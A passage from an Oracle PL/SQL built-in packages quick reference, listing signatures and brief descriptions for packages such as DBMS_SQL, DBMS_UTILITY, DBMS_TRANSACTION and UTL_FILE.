Resets all package states in the session, destroying the values of all persistent package variables.

PROCEDURE DBMS_SESSION.SET_CLOSE_CACHED_OPEN_CURSORS
    (close_cursors IN BOOLEAN);

Overrides the CLOSE_CACHED_OPEN_CURSORS database parameter at the session level with the value in close_cursors.

PROCEDURE DBMS_SESSION.SET_LABEL
    (lbl IN VARCHAR2);

Sets the session's Trusted Oracle session label to lbl.

PROCEDURE DBMS_SESSION.SET_MLS_LABEL_FORMAT
    (fmt IN VARCHAR2);

Sets the session's default Trusted Oracle label format to fmt.

PROCEDURE DBMS_SESSION.SET_NLS
    (param IN VARCHAR2
    ,value IN VARCHAR2);

Sets the National Language Support parameter param to value. When value is a format mask, use a triple-quoted string.

PROCEDURE DBMS_SESSION.SET_ROLE
    (role_cmd IN VARCHAR2);

Enables role(s) by appending role_cmd to the SET_ROLE command and executing. Disables all roles by setting role_cmd to NONE.

PROCEDURE DBMS_SESSION.SET_SQL_TRACE
    (sql_trace IN BOOLEAN);

Turns SQL tracing on or off in the session according to sql_trace (TRUE = on, FALSE = off).

FUNCTION DBMS_SESSION.UNIQUE_SESSION_ID
RETURN VARCHAR2;

Returns a string identifier unique to the session up to 24 bytes in length.

1.3.15 DBMS_SHARED_POOL

DBMS_SHARED_POOL contains programs to help manage the Oracle Shared Global Area (SGA) shared pool.

PROCEDURE DBMS_SHARED_POOL.ABORTED_REQUEST_THRESHOLD
    (threshold_size IN NUMBER);

Sets the maximum object size for which the shared pool will flush other objects to make room. Attempts to load objects larger than threshold_size bytes produce ORA-04031 errors if sufficient space is not available.

PROCEDURE DBMS_SHARED_POOL.KEEP
    (name IN VARCHAR2
    ,flag IN CHAR DEFAULT `P');

Pins the object identified by name in the shared pool. The object's type is identified by flag: "P" or "p" for package, procedure, or function; "Q" or "q" for sequences; and "R" or "r" for triggers. Specifies any other character flag to pin a cursor identified by address and hash value (from V$SQLAREA) in name.

PROCEDURE DBMS_SHARED_POOL.SIZES
    (minsize IN NUMBER);

Displays objects and cursors in the shared pool that exceed minsize kilobytes in size.

PROCEDURE DBMS_SHARED_POOL.UNKEEP
    (name IN VARCHAR2
    ,flag IN CHAR DEFAULT `P');

Unpins the object of type flag and identified by name from the shared pool. Valid flag values are the same values as for DBMS_SHARED_POOL.KEEP.

1.3.16 DBMS_SPACE

DBMS_SPACE contains procedures that provide internal space utilization and freelist information about table, index, and cluster segments.

PROCEDURE DBMS_SPACE.FREE_BLOCKS
    (segment_owner IN VARCHAR2
    ,segment_name IN VARCHAR2
    ,segment_type IN VARCHAR2
    ,freelist_group_id IN NUMBER
    ,free_blks OUT NUMBER
    ,scan_limit IN NUMBER DEFAULT NULL
  [ ,partition_name IN VARCHAR2 DEFAULT NULL ]);

Returns into free_blks the number of blocks on the freelist for segment segment_name of type segment_type (TABLE, INDEX, or CLUSTER) owned by segment_owner in partition partition_name (optional, and Oracle8 only). Scan_limit (optional) limits the number of free blocks scanned.

PROCEDURE DBMS_SPACE.UNUSED_SPACE
    (segment_owner IN VARCHAR2
    ,segment_name IN VARCHAR2
    ,segment_type IN VARCHAR2
    ,total_blocks OUT NUMBER
    ,total_bytes OUT NUMBER
    ,unused_blocks OUT NUMBER
    ,unused_bytes OUT NUMBER
    ,last_used_extent_file_id OUT NUMBER
    ,last_used_extent_block_id OUT NUMBER
    ,last_used_block OUT NUMBER
  [ ,partition_name IN VARCHAR2 DEFAULT NULL ]);

Returns the highwater mark (last_used_extent_file_id, last_used_extent_block_id, and last_used_block), space used (total_blocks, total_bytes), and space unused (unused_blocks, unused_bytes) in segment segment_name of type segment_type (TABLE, INDEX, or CLUSTER) owned by segment_owner in partition partition_name. Optional, and Oracle8 only.

1.3.17 DBMS_SQL

DBMS_SQL provides routines for using dynamic SQL within PL/SQL. For Oracle8, this is the routine that provides support for array operations in PL/SQL.

PROCEDURE DBMS_SQL.BIND_ARRAY
    (c IN INTEGER
    ,name IN VARCHAR2
    ,<table_variable IN datatype>
    [,index1 IN INTEGER
     ,index2 IN INTEGER]);

Binds the table_variable array to the placeholder name in the parsed (but not executed) SQL statement in the cursor c (returned by the OPEN_CURSOR call). For Oracle8, used to perform array processing. The <table_variable IN datatype> can be any of the following:

  n_tab IN DBMS_SQL.NUMBER_TABLE
  c_tab IN DBMS_SQL.VARCHAR2_TABLE
  d_tab IN DBMS_SQL.DATE_TABLE
  bl_tab IN DBMS_SQL.BLOB_TABLE
  cl_tab IN DBMS_SQL.CLOB_TABLE
  bf_tab IN DBMS_SQL.BFILE_TABLE

The optional argument index1 defines the lower bound (first row) within the table and index2 defines the upper bound (last row). Oracle 8 only.

PROCEDURE DBMS_SQL.BIND_VARIABLE
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN NUMBER | VARACHAR2 | DATE | BLOB | CLOB
        CHARACTER SET ANY_CS | BFILE
   [,out_value_size IN INTEGER]);

Binds the scalar value to the placeholder name in the parsed SQL statement in the cursor c, optionally with maximum expected size of value being out_value_size.

PROCEDURE DBMS_SQL.BIND_VARIABLE_CHAR
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN CHAR CHARACTER SET ANY_CS
   [,out_value_size IN INTEGER]);

Binds the scalar CHAR/NCHAR value to the placeholder name in the parsed SQL statement in the cursor c, optionally with maximum expected size of value being out_value_size.

PROCEDURE DBMS_SQL.BIND_VARIABLE_RAW
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN RAW
   [,out_value_size IN INTEGER]);

Binds the scalar RAW value to the placeholder name in the parsed SQL statement in the cursor c (returned by the OPEN_CURSOR call), optionally with maximum expected size of value being out_value_size.

PROCEDURE DBMS_SQL.BIND_VARIABLE_ROWID
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN ROWID);

Binds the scalar ROWID value to the placeholder name in the parsed SQL statement in the cursor c.

PROCEDURE DBMS_SQL.CLOSE_CURSOR
    (c IN OUT INTEGER);

Closes cursor c.

PROCEDURE DBMS_SQL.COLUMN_VALUE
    (c IN INTEGER
    ,position IN INTEGER
    ,value OUT NUMBER | VARCHAR | DATE | BLOB | CLOB
        CHARACTER SET ANY_CS | BFILE | MLSLABEL );
        CHARACTER SET ANY_CS | BFILE | MLSLABEL );
   [,column_error OUT NUMBER
   [,actual_length OUT INTEGER]]);

Transfers the contents of column number position in the SELECT list of the fetched cursor c into the variable value, optionally setting actual_length to the pre-truncated length in bytes, and column_error to the error code for the specified value. Truncation may occur due to a difference in size between the retrieved value in the cursor and the variable length. MLSLABEL is for Trusted Oracle only.

PROCEDURE DBMS_SQL.COLUMN_VALUE
    (c IN INTEGER
    ,position IN INTEGER
    ,<table_parameter IN table_type>);

Transfers the array contents of column number position in the SELECT list of the fetched array from cursor c into the PL/SQL table. For Oracle8 only, the table_parameter and table_type can be any of the following:

  n_tab IN DBMS_SQL.NUMBER_TABLE
  c_tab IN DBMS_SQL.VARCHAR2_TABLE
  d_tab IN DBMS_SQL.DATE_TABLE
  bl_tab IN DBMS_SQL.BLOB_TABLE
  cl_tab IN DBMS_SQL.CLOB_TABLE
  bf_tab IN DBMS_SQL.BFILE_TABLE

PROCEDURE DBMS_SQL.COLUMN_VALUE_CHAR
    (c IN INTEGER
    ,position IN INTEGER
    ,value OUT CHAR CHARACTER SET ANY_CS
   [,column_error OUT NUMBER
   [,actual_length OUT INTEGER]]);

Transfers the contents of column number position in the SELECT list of the fetched cursor c into the CHAR/NCHAR variable value, optionally setting actual_length to the pre-truncated length in characters, and the column_error to the error code for the specified value. Truncation may occur due to a difference in size between the retrieved value in the cursor and the variable length.

PROCEDURE DBMS_SQL.COLUMN_VALUE_LONG
    (c IN INTEGER
    ,position IN INTEGER
    ,length IN INTEGER
    ,offset IN INTEGER
    ,value OUT VARCHAR2
    ,value_length OUT INTEGER);

Transfers the contents of column number position in the SELECT list of the fetched cursor c into the VARCHAR2 variable value, starting offset bytes into the LONG column and extending for length bytes. Also sets value_length to the actual length of the retrieved value.

PROCEDURE DBMS_SQL.COLUMN_VALUE_RAW
    (c IN INTEGER
    ,position IN INTEGER
    ,value OUT RAW
   [,column_error OUT NUMBER
   [,actual_length OUT INTEGER]]);

Transfers the contents of column number position in the SELECT list of the fetched cursor c into the RAW variable value, optionally setting actual_length to the pre-truncated length in bytes, and the column_error to the error code for the specified value. Truncation may occur due to a difference in size between the retrieved value in the cursor and the variable length.

PROCEDURE DBMS_SQL.COLUMN_VALUE_ROWID
    (c IN INTEGER
    ,position IN INTEGER
    ,value OUT ROWID);
   [,column_error OUT NUMBER
   [,actual_length OUT INTEGER]]);

Transfers the contents of column number position in the SELECT list of the fetched cursor c into the ROWID variable value, optionally setting actual_length to the pre-truncated length in bytes, and the column_error to the error code for the specified value. Truncation may occur due to a difference in size between the retrieved value in the cursor and the variable length.

PROCEDURE DBMS_SQL.DEFINE_ARRAY
    (c IN INTEGER
    ,position IN INTEGER
    ,<table_parameter IN table_type>
    ,cnt IN INTEGER
    ,lower_bound IN INTEGER);

Defines the datatype and size of the elements in the fetch array for column number position in the SELECT list of the cursor c as the same datatype and size as the nested table table_parameter, beginning with row lower_bound, and having a maximum array size of cnt rows. For Oracle8, table_parameter and table_type can be any of these:

  n_tab IN DBMS_SQL.NUMBER_TABLE
  c_tab IN DBMS_SQL.VARCHAR2_TABLE
  d_tab IN DBMS_SQL.DATE_TABLE
  bl_tab IN DBMS_SQL.BLOB_TABLE
  cl_tab IN DBMS_SQL.CLOB_TABLE
  bf_tab IN DBMS_SQL.BFILE_TABLE
PROCEDURE DBMS_SQL.DEFINE_COLUMN
    (c IN INTEGER
    ,position IN INTEGER
    , column IN NUMBER | DATE | BLOB | CLOB CHARACTER SET
       ANY_CD | BFILE | MLSLABEL);

The variable or expression column defines the datatype for column number position in the SELECT list of the cursor c. MLSLABEL is for Trusted Oracle only.

PROCEDURE DBMS_SQL.DEFINE_COLUMN
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN VARCHAR2 CHARACTER SET ANY_CS
    ,column_size IN INTEGER);

The variable or expression column defines the datatype as VARCHAR2/NVARCHAR2 and size as column_size characters for column number position in the SELECT list of the cursor c.

PROCEDURE DBMS_SQL.DEFINE_COLUMN_CHAR
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN CHAR CHARACTER SET ANY_CS
    ,column_size IN INTEGER);

The variable or expression column defines the datatype as CHAR/NCHAR and size as column_size characters for column number position in the SELECT list of the cursor c.

PROCEDURE DBMS_SQL.DEFINE_COLUMN_LONG
    (c IN INTEGER
    ,position IN INTEGER);

Defines the datatype as LONG for column number position in the SELECT list of the cursor c.

PROCEDURE DBMS_SQL.DEFINE_COLUMN_RAW
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN RAW
    ,column_size IN INTEGER);

The variable or expression column as RAW of size column_size bytes for column number position in the SELECT list of the cursor c.

PROCEDURE DBMS_SQL.DEFINE_COLUMN_ROWID
    (c IN INTEGER
    ,position IN INTEGER
    ,column IN ROWID);

The variable or expression column defines the datatype as ROWID for column number position in the SELECT list of the cursor c.

PROCEDURE DBMS_SQL.DESCRIBE_COLUMNS
    (c IN INTEGER
    ,col_cnt OUT INTEGER
    ,desc_t OUT DESC_TAB);

Populates PL/SQL table desc_t of type DBMS_SQL.DESC_REC with the description of columns of cursor c. col_cnt is the number of columns in c and the number of rows in desc_t.

FUNCTION DBMS_SQL.EXECUTE
    (c IN INTEGER)
RETURN INTEGER;

For INSERT, UPDATE, or DELETE statements, returns the number of rows processed by executing the cursor c. For all other SQL statements, executes the cursor c and returns an undefined value.

FUNCTION DBMS_SQL.EXECUTE_AND_FETCH
    (c IN INTEGER
    ,exact IN BOOLEAN DEFAULT FALSE)
RETURN INTEGER;

Returns the number of rows fetched by executing and fetching cursor c. Raises an exception if more than one row is fetched when exact is set to TRUE. Multiple rows require Oracle8 and array processing.

FUNCTION DBMS_SQL.FETCH_ROWS
    (c IN INTEGER)
RETURN INTEGER;

Fetches and returns the number of rows fetched from cursor c, or 0 (zero) when there are no more rows to fetch.

FUNCTION DBMS_SQL.IS_OPEN
    (c IN INTEGER)
RETURN BOOLEAN;

Returns TRUE if cursor c is open, FALSE otherwise.

FUNCTION DBMS_SQL.LAST_ERROR_POSITION
RETURN INTEGER;

Returns the byte offset in the SQL statement where the last error occurred. Must be called immediately after an EXECUTE or EXECUTE_AND_FETCH (typically in the exception handler).

FUNCTION DBMS_SQL.LAST_ROW_COUNT
RETURN INTEGER;

Returns the total number of rows fetched so far -- similar to the %ROWCOUNT attribute of static cursors.

FUNCTION DBMS_SQL.LAST_ROW_ID
RETURN ROWID;

Returns the ROWID of the most recently fetched row. Must be called immediately after a FETCH_ROWS or EXECUTE_AND_FETCH.

FUNCTION DBMS_SQL.LAST_SQL_FUNCTION_CODE
RETURN INTEGER;

Returns the SQL function code for the SQL statement. A complete list of these function codes can be found in the Oracle Corporation's Server Reference Manual in the section describing the table column V$SESSION.COMMAND.

FUNCTION DBMS_SQL.OPEN_CURSOR
RETURN INTEGER;

Returns an INTEGER pointer to memory allocated for a dynamic cursor.

PROCEDURE DBMS_SQL.PARSE
    (c IN INTEGER
    ,statement IN VARCHAR2
    ,language_flag IN INTEGER);

Parses a SQL statement less than 32K bytes in length and associates it with cursor c, following database behavior specified by language_flag (either DBMS_SQL.NATIVE, DBMS_SQL.V7, or DBMS_SQL.V6). Do not terminate your SQL string with a semicolon unless it is a PL/SQL block. For DDL statements (e.g., TRUNCATE TABLE), this also executes the statement.

PROCEDURE DBMS_SQL.PARSE
    (c IN INTEGER
    ,statement IN VARCHAR2S
    ,lb IN INTEGER
    ,ub IN INTEGER
    ,lfflg IN BOOLEAN
    ,language_flag IN INTEGER);

Parses a SQL statement contained in rows lb through ub in the PL/SQL table and associates it with cursor c, following database behavior specified by language_flag (either DBMS_SQL.NATIVE, DBMS_SQL.V7, or DBMS_SQL.V6), and appending a line feed after each row from statement if lfflg is set to TRUE.

PROCEDURE DBMS_SQL.VARIABLE_VALUE
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT NUMBER | VARCHAR2 | DATE | BLOB | CLOB
        CHARACTER SET ANY_CS| BFILE | MLSLABEL);

Retrieves the value of the host variable name in cursor c into the PL/SQL NUMBER variable value. MLSLABEL is for Trusted Oracle only.

PROCEDURE DBMS_SQL.VARIABLE_VALUE
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value IN <table_type>);

Retrieves the values of the host variable name in cursor c into the PL/SQL table value. For Oracle8 only, the table_type can be one of the following:

DBMS_SQL.NUMBER_TABLE
DBMS_SQL.VARCHAR2_TABLE
DBMS_SQL.DATE_TABLE
DBMS_SQL.BLOB_TABLE
DBMS_SQL.CLOB_TABLE
DBMS_SQL.BFILE_TABLE
PROCEDURE DBMS_SQL.VARIABLE_VALUE_CHAR
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT CHAR CHARACTER SET ANY_CS);

Retrieves the value of the host variable name in cursor c into the CHAR/NCHAR table value.

PROCEDURE DBMS_SQL.VARIABLE_VALUE_RAW
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT RAW);

Retrieves the value of the host variable name in cursor c into the RAW variable value.

PROCEDURE DBMS_SQL.VARIABLE_VALUE_ROWID
    (c IN INTEGER
    ,name IN VARCHAR2
    ,value OUT ROWID);

Retrieves the value of the host variable name in cursor c into the ROWID variable value.

1.3.18 DBMS_STANDARD

DBMS_STANDARD contains "kernel extensions to package STANDARD." These include functions and procedures for use in triggers to support transactions. These functions and procedures, like those in package STANDARD, are special in that they do not need to be qualified with the owner or package name, and are usually assumed to be part of the PL/SQL language.

PROCEDURE DBMS_STANDARD.RAISE_APPLICATION_ERROR
    (num BINARY_INTEGER
    ,msg VARCHAR2
    ,keeperrorstack boolean default FALSE);

Raises PL/SQL exception num, together with text msg from a stored program. The error can be placed together with any other errors on the error stack. If keeperrorstack is set to TRUE, default behavior is to replace the error stack with this single exception. num can range from -20999 to -20000, and msg can be up to 2048 bytes long.

FUNCTION INSERTING RETURN boolean;
FUNCTION DELETING  RETURN boolean;
FUNCTION UPDATING  RETURN boolean;
FUNCTION UPDATING (colnam VARCHAR2) RETURN boolean;

Conditional predicates used to determine the type of Data Manipulation Language (DML) operation that caused a trigger to fire. These functions are only useful within triggers; for example "...IF INSERTING THEN...."

PROCEDURE COMMIT;
PROCEDURE COMMIT_CM (vc VARCHAR2);
PROCEDURE ROLLBACK_NR;
PROCEDURE ROLLBACK_SV(save_point VARCHAR2);
PROCEDURE SAVEPOINT(save_point VARCHAR2);
PROCEDURE SET_TRANSACTION_USE(vc VARCHAR2);

These procedures support transaction control. They are analogous to the SQL statements: COMMIT, COMMIT COMMENT, ROLLBACK, ROLLBACK TO SAVEPOINT, SAVEPOINT, and SET TRANSACTION USE ROLLBACK SEGMENT.

1.3.19 DBMS_SYSTEM

DBMS_SYSTEM contains procedures for setting special internal trace events, including SQL tracing, at the session level.

PROCEDURE DBMS_SYSTEM.READ_EV
    (iev BINARY_INTEGER
    ,oev OUT BINARY_INTEGER);

Returns the current session's event level setting for trace event number iev into variable oev.

PROCEDURE DBMS_SYSTEM.SET_EV
    (si BINARY_INTEGER
    ,se BINARY_INTEGER
    ,ev BINARY_INTEGER
    ,le BINARY_INTEGER
    ,nm IN VARCHAR2);

Sets the level for event number ev in the session identified by sid si and serial number se to the value specified by le. Variable nm is used to specify the event name.

PROCEDURE DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION
    (sid IN NUMBER
    ,serial# IN NUMBER
    ,sql_trace IN BOOLEAN);

Turns SQL tracing on or off in the session identified by sid (sid) and serial number (serial#) according to the value of sql_trace (TRUE = on; FALSE = off).

1.3.20 DBMS_TRANSACTION

DBMS_TRANSACTION contains a number of programs for local and distributed transaction management.

PROCEDURE DBMS_TRANSACTION.ADVISE_COMMIT;

Advises remote databases that in-doubt distributed transactions should be committed if possible.

PROCEDURE DBMS_TRANSACTION.ADVISE_NOTHING;

Removes advice from remote databases regarding in-doubt distributed transactions.

PROCEDURE DBMS_TRANSACTION.ADVISE_ROLLBACK;

Advises remote databases that in-doubt distributed transactions should be rolled back.

PROCEDURE DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION;

Sets the current transaction to use discrete transaction processing.

PROCEDURE DBMS_TRANSACTION.COMMIT;

Commits the current transaction.

PROCEDURE DBMS_TRANSACTION.COMMIT_COMMENT
    (cmnt IN VARCHAR2);

Commits the current transaction and sends cmnt as the in-doubt transaction comment to remote databases during distributed transactions.

PROCEDURE DBMS_TRANSACTION.COMMIT_FORCE
    (xid IN VARCHAR2
    [,scn IN VARCHAR2 DEFAULT NULL]);

Forces the local portion of the in-doubt distributed transaction identified by transaction id xid and (optionally) system change number scn to commit.

FUNCTION DBMS_TRANSACTION.LOCAL_TRANSACTION_ID
    (create_transaction IN BOOLEAN := FALSE)
RETURN VARCHAR2;

Returns Oracle's unique identifier for the current transaction, optionally beginning a new transaction when create_transaction is TRUE.

PROCEDURE DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY
    (xid IN VARCHAR2);

Forces Oracle to purge all local entries for the distributed transaction identified by xid when a participating node has been permanently lost.

PROCEDURE DBMS_TRANSACTION.PURGE_MIXED
    (xid IN VARCHAR2);

Forces Oracle to purge local entries for the mixed outcome distributed transaction identified locally by xid.

PROCEDURE DBMS_TRANSACTION.READ_ONLY;

Establishes transaction-level read consistency, where all queries return read-consistent images of data as of the transaction's start time.

PROCEDURE DBMS_TRANSACTION.READ_WRITE;

Establishes statement-level read consistency, which is also the default behavior.

PROCEDURE DBMS_TRANSACTION.ROLLBACK;

Rolls back the current transaction.

PROCEDURE DBMS_TRANSACTION.ROLLBACK_FORCE
    (xid IN VARCHAR2);

Rolls back the local portion of the in-doubt distributed transaction identified by xid.

PROCEDURE DBMS_TRANSACTION.ROLLBACK_SAVEPOINT
    (savept IN VARCHAR2);

Rolls back the current transaction to the savepoint savept.

PROCEDURE DBMS_TRANSACTION.SAVEPOINT
    (savept IN VARCHAR2);

Sets a savepoint named savept in the current transaction.

FUNCTION DBMS_TRANSACTION.STEP_ID
RETURN NUMBER;

Returns a unique positive integer that orders the DML operations of the current transaction.

PROCEDURE DBMS_TRANSACTION.USE_ROLLBACK_SEGMENT
    (rb_name IN VARCHAR2);

Assigns the current transaction to rollback segment rb_name.

1.3.21 DBMS_UTILITY

DBMS_UTILITY provides procedures and functions to perform a number of useful tasks, including parsing and tokenizing name references, obtaining database configuration information, analyzing objects, obtaining error and call stack information, and timing code execution.

PROCEDURE DBMS_UTILITY.ANALYZE_DATABASE
    (method IN VARCHAR2
    ,estimate_rows IN NUMBER DEFAULT NULL
    ,estimate_percent IN NUMBER DEFAULT NULL
    ,method_opt IN VARCHAR2 DEFAULT NULL);

Analyzes all tables, clusters, and indexes in the database using option method (ESTIMATE, COMPUTE, or DELETE). When method is ESTIMATE, either estimate_rows or estimate_percent must be specified to identify sample size. Additional analyze options specifiable by method_opt are: FOR TABLE; FOR ALL COLUMNS [SIZE N]; FOR ALL INDEXED COLUMNS [SIZE N]; or FOR ALL INDEXES.

PROCEDURE DBMS_UTILITY.ANALYZE_PART_OBJECT
    (schema IN VARCHAR2 DEFAULT NULL
    ,object_name IN VARCHAR2 DEFAULT NULL
    ,object_type IN CHAR DEFAULT `T'
    ,command_type IN CHAR DEFAULT `E'
    ,command_opt IN VARCHAR2 DEFAULT NULL
    ,sample_clause IN VARCHAR2
        DEFAULT `SAMPLE 5 PERCENT');

Analyzes the partitioned table or index object_name owned by schema of type object_type (T = TABLE, I = INDEX) in parallel using Oracle job queue processes. command_type indicates the type of analysis to perform and command_opt specifies additional options. sample_clause specifies sample size when command_type is E (estimate) using `SAMPLE N ROWS' or `SAMPLE N PERCENT'. Oracle8 only.

Valid command_typevalues are: C for compute statistics, E for estimate statistics, D for delete statistics, or V for validate structure.

Valid command_opt values for command_type C or T are: FOR TABLE, FOR ALL LOCAL INDEXES, FOR ALL COLUMNS, or any combination of FOR options of the ANALYZE command.

Valid command_opt values for command_type V are: CASCADE when object_type is T (table).

PROCEDURE DBMS_UTILITY.ANALYZE_SCHEMA
    (schema IN VARCHAR2
    ,method IN VARCHAR2
    ,estimate_rows IN NUMBER DEFAULT NULL
    ,estimate_percent IN NUMBER DEFAULT NULL
    ,method_opt IN VARCHAR2 DEFAULT NULL);

Analyzes all tables, clusters, and indexes in schema using method (ESTIMATE, COMPUTE, or DELETE). When method is ESTIMATE, either estimate_rows or estimate_percent must be specified to identify sample size. Additional analyze options specifiable by method_opt are: FOR TABLE, FOR ALL COLUMNS [SIZE N], FOR ALL INDEXED COLUMNS [SIZE N], or FOR ALL INDEXES.

PROCEDURE DBMS_UTILITY.COMMA_TO_TABLE
    (list IN VARCHAR2
    ,tablen OUT BINARY_INTEGER
    ,tab OUT UNCL_ARRAY);

Parses the comma-delimited list and returns the tokens in the PL/SQL table tab of type DBMS_UTILITY.UNCL_ARRAY. The number of rows in tab is returned in tablen.

PROCEDURE DBMS_UTILITY.COMPILE_SCHEMA
    (schema IN VARCHAR2);

Compiles all stored PL/SQL programs (procedures, functions, and packages) owned by schema.

FUNCTION DBMS_UTILITY.DATA_BLOCK_ADDRESS_BLOCK
    (dba IN NUMBER)
RETURN NUMBER;

Returns the block offset number of the data block address specified in dba.

FUNCTION DBMS_UTILITY.DATA_BLOCK_ADDRESS_FILE
   (dba IN NUMBER)
RETURN NUMBER;

Returns the file number component of the data block address specified in dba.

PROCEDURE DBMS_UTILITY.DB_VERSION
    (version OUT VARCHAR2
    ,compatibility OUT VARCHAR2);

Returns the Oracle version of the database in version and the setting of the INIT.ORA COMPATIBLE parameter in compatibility (or NULL). Oracle8 only.

PROCEDURE DBMS_UTILITY.EXEC_DDL_STATEMENT
    (parse_string IN VARCHAR2);

Executes the DDL statement specified by parse_string. Oracle8 only.

FUNCTION DBMS_UTILITY.FORMAT_CALL_STACK
RETURN VARCHAR2;

Returns the current PL/SQL call stack as a formatted string.

FUNCTION DBMS_UTILITY.FORMAT_ERROR_STACK
RETURN VARCHAR2;

Returns the current PL/SQL error stack as a formatted string.

FUNCTION DBMS_UTILITY.GET_HASH_VALUE
    (name IN VARCHAR2
    ,base IN NUMBER
    ,hash_size IN NUMBER)
RETURN NUMBER;

Returns a hash function value for name with a minimum possible value of base using a hash table of size hash_size.

FUNCTION DBMS_UTILITY.GET_PARAMETER_VALUE
    (parnam IN VARCHAR2
    ,intval IN OUT BINARY_INTEGER
    ,strval IN OUT VARCHAR2)
RETURN BINARY_INTEGER;

Returns information about the current setting of the database initialization (INIT.ORA) parameter parnam. Oracle8 only.

intval returns the following values:

  • The value of a numeric parnam

  • The length of a string parnam

  • 0 for FALSE and 1 for TRUE when parnam is Boolean

strval returns NULL, or the value of a string parameter: 0 if the parameter is Boolean or numeric; 1 if the parameter is a string.

FUNCTION DBMS_UTILITY.GET_TIME
RETURN NUMBER;

Returns a number indicating the number of 1/100ths of a seconds elapsed since an (unknown) arbitrary time in the past.

FUNCTION DBMS_UTILITY.IS_PARALLEL_SERVER
RETURN BOOLEAN;

Returns TRUE if the instance is running in parallel server mode, and FALSE otherwise.

FUNCTION DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS
    (file IN NUMBER
    ,block IN NUMBER)
RETURN NUMBER;

Returns a valid data block address for file at block offset block.

PROCEDURE DBMS_UTILITY.NAME_RESOLVE
    (name IN VARCHAR2
    ,context IN NUMBER
    ,schema OUT VARCHAR2
    ,part1 OUT VARCHAR2
    ,part2 OUT VARCHAR2
    ,dblink OUT VARCHAR2
    ,part1_type OUT NUMBER
    ,object_number OUT NUMBER);

Resolves the reference name and returns specific identification information about the object referenced as follows: schema is the object's owner; part1 is the object name or package name for a package; part2 is the program name when object is a package; dblink is the database link if name resolves to a remote object; part1_type identifies the type of object; object_number is the local object number or NULL if name could not be fully resolved locally.

part1_type is 5 if the object is a synonym; 7 if the object is a procedure; 8 if the object is a function; 9 if the object is a package.

Note that context must be set to 1.

PROCEDURE DBMS_UTILITY.NAME_TOKENIZE
    (name IN VARCHAR2
    ,a OUT VARCHAR2
    ,b OUT VARCHAR2
    ,c OUT VARCHAR2
    ,dblink OUT VARCHAR2
    ,nextpos OUT BINARY_INTEGER);

Uses the PL/SQL parser to tokenize the reference name into its constituent components according to the following format:

a [ . b [ . c ] ] [ @dblink ]

nextpos is the starting position of the next token.

FUNCTION DBMS_UTILITY.PORT_STRING
RETURN VARCHAR2;

Returns a string with operating system-specific identifying information about the version of Oracle that is running.

PROCEDURE DBMS_UTILITY.TABLE_TO_COMMA
    (tab IN UNCL_ARRAY
    ,tablen OUT BINARY_INTEGER
    ,list OUT VARCHAR2);

Converts the PL/SQL table tab of type DBMS_UTILITY.UNCL_ARRAY into a comma-delimited string returned in list, with the number of rows converted returned in tablen.

1.3.22 UTL_FILE

UTL_FILE allows PL/SQL programs to read from and write to operating system files on the server where the Oracle database resides.

PROCEDURE UTL_FILE.FCLOSE
    (file IN OUT FILE_TYPE);

Closes the file identified by file handle file and sets the value of file id to NULL.

PROCEDURE UTL_FILE.FCLOSE_ALL;

Closes all opened files; however, the id fields of any file handles will not be set to NULL.

PROCEDURE UTL_FILE.FFLUSH
    (file IN FILE_TYPE);

Forces any buffered data for file handle file to be written out immediately.

FUNCTION UTL_FILE.FOPEN
    (location IN VARCHAR2
    ,filename IN VARCHAR2
    ,open_mode IN VARCHAR2)
RETURN FILE_TYPE;

Returns a file handle of type UTL_FILE.FILE_TYPE upon successfully opening file filename in directory location in mode open_mode, or raises an exception.

Valid open_mode values are:

R = open file in read-only mode.
W = open file in read-write mode and replace contents.
A = open file in read-write mode and append to contents.

Valid location values are directories specified by the Oracle initialization parameter UTL_FILE_DIR.

PROCEDURE UTL_FILE.GET_LINE
    (file IN FILE_TYPE
    ,buffer OUT VARCHAR2);

Reads the next line in file handle file into buffer. Raises NO_DATA_FOUND exception when reading past end of file and VALUE_ERROR exception when buffer is too small for the data.

FUNCTION UTL_FILE.IS_OPEN
    (file IN FILE_TYPE)
RETURN BOOLEAN;

Returns TRUE if the file handle file is currently open in any mode and FALSE otherwise.

PROCEDURE UTL_FILE.NEW_LINE
    (file IN FILE_TYPE
    ,lines IN NATURAL := 1);

Places lines newline characters into file handle file.

PROCEDURE UTL_FILE.PUT
    (file IN FILE_TYPE
    ,buffer IN VARCHAR2);

Places the data in buffer into file handle file without a newline terminator.

PROCEDURE UTL_FILE.PUT_LINE
    (file IN FILE_TYPE
    ,buffer IN VARCHAR2);

Places the data in buffer into file handle file with a newline character appended.

PROCEDURE UTL_FILE.PUTF
    (file IN FILE_TYPE
    ,format IN VARCHAR2
    ,arg1 IN VARCHAR2 DEFAULT NULL
    ,arg2 IN VARCHAR2 DEFAULT NULL
    ,arg3 IN VARCHAR2 DEFAULT NULL
    ,arg4 IN VARCHAR2 DEFAULT NULL
    ,arg5 IN VARCHAR2 DEFAULT NULL);

Writes a formatted message out to file handle file using format as the template, replacing up to five %s format elements with the values of arg1-arg5. format can contain the following items: any literal text; %s indicating argN substitution (up to five allowed); or \n indicating newline (any number allowed).

1.3.23 UTL_RAW

UTL_RAW provides routines for accessing and manipulating RAW datatypes. These routines perform conversions, divisions, combinations, and bitwise operations on RAW datatypes.

FUNCTION UTL_RAW.BIT_AND
    (r1 IN RAW
    ,r2 IN RAW)
RETURN RAW;

Returns the bitwise logical AND of r1 and r2.

FUNCTION UTL_RAW.BIT_COMPLEMENT
    (r1 IN RAW
    ,r2 IN RAW)
RETURN RAW;

Returns the bitwise logical complement of r1 and r2.

FUNCTION UTL_RAW.BIT_OR
    (r1 IN RAW
    ,r2 IN RAW)
RETURN RAW;

Returns the bitwise logical OR of r1 and r2.

FUNCTION UTL_RAW.BIT_XOR
    (r1 IN RAW
    ,r2 IN RAW)
RETURN RAW;

